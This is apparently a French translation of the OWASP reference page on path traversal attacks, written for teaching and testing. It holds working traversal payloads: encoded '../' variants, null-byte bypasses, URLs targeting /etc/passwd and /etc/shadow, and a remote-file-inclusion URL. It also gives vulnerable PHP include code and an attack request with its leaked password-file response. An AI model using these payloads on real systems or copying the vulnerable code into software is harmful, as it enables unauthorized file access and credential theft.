Table of Contents
Path Traversal
Aperçu
Une attaque Path Traversal a l'intention d'accéder aux fichiers et répertoires qui sont stockés à l'extérieur du dossier racine root du web. En parcourant l'application, l'attaquant cherche des liens absolus vers les fichiers conservés sur le serveur web. En manipulant des variables qui se réfèrent aux fichiers avec des séquences “dot-dot-slash (../)” et ses variations, il peut être possible d'accéder aux fichiers arbitraires et aux répertoires conservés sur file system, en incluant le code source de l'application, la configuration et les fichiers système critiques, limités par le système le contrôle d'accès opérationnel. L'attaquant utilise les séquences “../” pour déplacer jusqu'au dossier racine, en permettant ainsi la navigation par le système de fichier. Cette attaque peut être exécutée avec un code malicieux externe injecté sur le path, comme l'attaque Resource Injectionhttps:www.owasp.org/index.php/Resource_Injection. Pour exécuter cette attaque il n'est pas nécessaire d'utiliser un outils spécifique ; les attaquants utilisent typiquement caractéristique une “spider/crawler” pour découvrir toutes les URLs disponibles. Cette attaque est aussi connue comme “dot-dot-slash”, “directory traversal”, “directory climbing” et “backtracking”. # Activités de Sécurité Liées # ## Comment Éviter les Vulnérabilités Path Traversal ? ## Voir l'article OWASP Guidehttps:www.owasp.org/index.php/Category:OWASP_Guide_Project sur how to Avoid Path Traversalhttps:www.owasp.org/index.php/File_System#Path_traversal Vulnerabilities. ## Comment Tester les Vulnérabilités Path Traversal ? ## Voir l'article OWASP Testing Guidehttps:www.owasp.org/index.php/Category:OWASP_Testing_Project sur how to Test for Path Traversal https://www.owasp.org/index.php/Testing_for_Path_Traversal_%28OWASP-AZ-001%29Vulnerabilities.
Description
Variations de Requêtes
Encodage et double encodage :
%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
Pourcentage d'encodage (aka URL encodant) Notez que les récipients de web jouent un niveau de décodage sur le pourcentage de valeurs encodées depuis les formulaires et les URLs.
..%c0%af represents ../ ..%c1%9c represents ..\
OS specific
- UNIX
Root directory: “ / “
Directory separator: “ / “ * WINDOWS Root directory: “ <partition letter> : \ “ Directory separator: “ / “ or “ \ ” Note that windows allows filenames to be followed by extra . \ / characters.
Dans beaucoup de systèmes d'exploitation, les octets nuls %00 peuvent être injectés pour terminer le nom de fichier. Par exemple, en envoyant un paramètre comme :
?file=secret.doc%00.pdf
s'ensuivra dans l'application Java la vue d'un string qui finira par '.pdf' et le système d'exploitation verra un dossier qui finira par '.doc'. Les attaquants peuvent utiliser ce truc pour éviter les routines de validation.
Exemples
Exemple 1
Les exemples suivants montrent comment l'application s'occupe des ressources utilisées.
http://some_site.com.br/get-files.jsp?file=report.pdf http://some_site.com.br/get-page.php?home=aaa.html http://some_site.com.br/some-page.asp?page=index.html
Dans ces exemples il est possible d'insérer un string malicieux comme un paramètre de variable pour accéder aux fichiers trouvés à l'extérieur du répertoire du web publié.
http://some_site.com.br/get-files?file=../../../../some dir/some file http://some_site.com.br/../../../../some dir/some file
Les URLs suivantes montrent des exemples d'exploitation de fichier de mot de passe *NIX.
http://some_site.com.br/../../../../etc/shadow http://some_site.com.br/get-files?file=/etc/passwd
Notez : Dans un système Windows un attaquant peut naviguer seulement dans une partition où se trouve la racine web alors que dans Linux il peut naviguer sur le disque entier.
Exemple 2
Il est aussi possible d'inclure des fichiers et des scripts trouvés sur le site web externe.
<nowiki>http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php</nowiki>
## Exemple 3 ##
Ces exemples illustrent le cas où l'attaquant fait afficher au serveur le code source CGI (Common gateway Interface (ou Interface de passerelle commune)).
<nowiki>http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi</nowiki>
Exemple 4
Cet exemple a été extrait de : Wikipedia - Directory Traversal Un exemple typique de code vulnérable d'application est :
<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
Une attaque contre ce système pourrait être d'envoyer la requête HTTP suivante :
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Générant une réponse du serveur comme :
HTTP/1.0 200 OK Content-Type: text/html Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
La répétition ../ characters after /home/users/phpguru/templates/ a provoqué include() pour traverser le répertoire root, et inclus le fichier de mot de passe UNIX /etc/passwd. UNIX etc/passwd est un répertoire commun utilisé pour démontrer le répertoire transversal, comme il est souvent utilisé par les crackers pour essayer de craquer les mots de passe.
Absolute Path Traversal
Les URLs suivantes peuvent être vulnérables à cette attaque :
http://testsite.com/get.php?f=list http://testsite.com/get.cgi?f=2 http://testsite.com/get.asp?f=test
Un attaquant peut exécuter cette attaque comme cela :
http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc http://testsite.com/get.asp?f=/etc/passwd
Quand le serveur web renvoit des informations sur les erreurs dans une application web, c'est beaucoup plus facile pour l'attaquant de deviner les endroits corrects (par ex. le path vers un fichier avec un code source, qui peut alors être affiché).
